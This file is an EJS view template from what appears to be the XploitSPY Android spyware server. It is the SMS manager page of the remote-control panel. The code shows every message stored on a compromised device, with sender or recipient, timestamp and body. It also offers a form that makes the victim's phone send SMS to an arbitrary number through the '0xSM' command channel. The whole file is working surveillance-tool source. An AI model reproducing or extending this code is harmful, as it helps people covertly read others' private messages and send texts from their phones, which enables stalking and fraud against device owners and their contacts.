XploitSPY/server/assets/views/deviceManagerPages/sms_manager.ejs

101 lines
3.2 KiB
Plaintext
Raw Normal View History

2020-01-11 23:35:37 +08:00
<div class="ui top attached tabular menu">
<a class="item active" data-tab="first">
SMS Log
</a>
<a class="item " data-tab="second">
Send SMS
</a>
</div>
<div class="ui bottom attached tab segment active" data-tab="first">
<!-- SMS Log -->
<div class="ui secondary menu">
<div class="right menu">
<button onclick="updateButton(this, '0xSM', {'action': 'ls'})" class="ui blue button"> <i
class="icon sync"></i>Update</button>
</div>
</div>
<div class="ui feed">
<% pageData.forEach((smsData) => {
let date = new Date(parseInt(smsData.date));
let status = {
"updown": "question",
"action": ""
};
if(smsData.type === "1") status = {
"updown": "down",
"action": "Recieved From "
};
if(smsData.type === "2") status = {
"updown": "up",
"action": "Sent To "
};
%>
<div class="event">
<div class="label">
<i class="arrow <%= status.updown %> icon"></i>
</div>
<div class="content">
<div class="summary">
<%= status.action %> <a href="?filter=<%= smsData.address %>"><%= smsData.address %></a>
<div class="date"><%= date.toLocaleString('en-GB', { timeZone: 'UTC' }) %></div>
</div>
<div class="extra text">
<%= smsData.body %>
</div>
</div>
<div class="ui divider"></div>
</div>
<div class="ui divider"></div>
<% }) %>
</div>
</div>
<div class="ui bottom attached tab segment" data-tab="second">
<!-- Send SMS -->
<div class="ui form">
<div class="ui labeled input fluid">
<div class="ui label">
To
</div>
<input id="to" type="number">
</div>
<br>
<div class="field">
<label>Message</label>
<textarea id="sms"></textarea>
</div>
<button class="ui button fluid positive" type="submit" onclick="sendSMS(this)">
<i class="paper plane outline icon"></i>
Send
</button>
</div>
</div>
<script>
$('.menu .item').tab();
function sendSMS(element) {
$(element).addClass('loading')
sendCommand('0xSM', {
'action': 'sendSMS',
'sms': $('#sms').val(),
'to': $('#to').val()
}, (error, message) => {
if (error) {
setTimeout(() => {
showNotification('#f03434', error)
$(element).removeClass('loading')
}, 300)
} else {
setTimeout(() => {
$(element).removeClass('loading');
if (message === 'Requested') showNotification('#2ecc71', 'SMS Sent');
else showNotification('#2ecc71', message);
}, 300)
}
});
}
</script>